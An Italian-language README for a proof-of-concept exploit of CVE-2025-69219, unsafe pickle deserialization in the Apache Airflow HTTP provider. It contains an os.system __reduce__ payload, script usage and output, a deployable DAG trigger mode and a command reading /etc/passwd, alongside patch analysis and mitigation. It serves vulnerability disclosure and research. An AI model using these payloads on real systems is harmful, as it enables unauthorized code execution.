
Exploit di prova di concetto per CVE-2025-69219, che dimostra l'esecuzione remota di codice in Apache Airflow Providers HTTP tramite deserializzazione pickle non sicura. Include script PoC, analisi tecnica e indicazioni per la mitigazione.
Gravità: Alta (CVSS 3.1: 8.8)
Vettore:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Controllo improprio delle risorse di codice dinamicamente gestite
Interessati:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corretto in:apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7
Il provider HTTP di Apache Airflow utilizzava il modulo pickle di Python per serializzare e deserializzare le risposte dei trigger HTTP per attività differite. Il sink vulnerabile in appariva così:
HttpOperator.execute_complete()# VULNERABILE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
Il dizionario event viene letto dal database di Airflow, il che significa che qualsiasi utente con accesso in scrittura al DB può inserire un payload pickle malevolo. Quando il worker Triggerer elabora l'attività differita, deserializza ciecamente quel payload, eseguendo comandi OS arbitrari con i permessi del processo Triggerer — equivalente a un Autore DAG.
pickle.loads() su dati non fidati è un'operazione intrinsecamente non sicura. Il protocollo __reduce__ di Pickle consente di incorporare qualsiasi callable Python nel blob serializzato e invocarlo durante la deserializzazione senza alcuna sandbox.
Il Triggerer di Airflow serializza la risposta HTTP al momento del completamento e la memorizza nel DB:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Un attaccante a livello di DB sostituisce questo valore con un blob pickle costruito ad arte, ad esempio:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
Il Triggerer chiama quindi execute_complete → pickle.loads() → RCE.
La patch sostituisce completamente pickle con un serializzatore JSON sicuro ed esplicito:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # dizionario JSON
})
# HttpResponseSerializer.deserialize() — verifica che l'input sia un dict, non esegue mai codice
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
Il nuovo deserializzatore ricostruisce solo un oggetto requests.Response a partire da campi noti (status_code, headers, content, ecc.) — nessuna esecuzione di codice arbitrario è possibile.
# Python 3.9+; installare una versione vulnerabile
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Riproduce la chiamata vulnerabile pickle.loads() in-process:
python poc.py
# oppure con un comando personalizzato:
python poc.py --cmd "whoami"
Esempio di output:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Genera un DAG distribuibile
python poc.py --mode dag --cmd "id"
# Copia nella directory dei DAG di Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Attiva dall'interfaccia Airflow o dalla CLI
airflow dags trigger cve_2025_69219_poc
Controlla i log delle attività per l'output del comando.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Fattore | Dettaglio |
|---|---|
| Chi può sfruttarlo | Qualsiasi utente con accesso in scrittura diretto al DB di Airflow |
| Contesto di esecuzione | Processo worker Triggerer (stessi permessi di un Autore DAG) |
| Probabilità | Bassa — l'accesso diretto al DB non è standard in implementazioni ben configurate |
| Raggio d'esplosione | RCE completa sull'host del nodo Triggerer: esfiltrazione dati, movimento laterale, persistenza |
apache-airflow-providers-http alla versione 6.0.0 o successiva.deferrable=True) siano state completate o cancellate, poiché le attività in volo serializzate con pickle solleveranno un TypeError dopo l'aggiornamento (modifica incompatibile documentata nel changelog del provider).pip install "apache-airflow-providers-http>=6.0.0"
| Data | Evento |
|---|---|
| 2026-03-09 | CVE pubblicato da Apache Software Foundation |
| 2026-03-09 | Correzione integrata (PR #61662, commit 97839f7) |
| 2026-03-09 | Divulgato sulla mailing list oss-security |
Il PoC in questo repository è basato sul lavoro originale di @ahmetartuc.
Questa proof-of-concept è pubblicata esclusivamente a scopo educativo e di ricerca sulla sicurezza. Testare solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita. Gli autori non sono responsabili per qualsiasi uso improprio.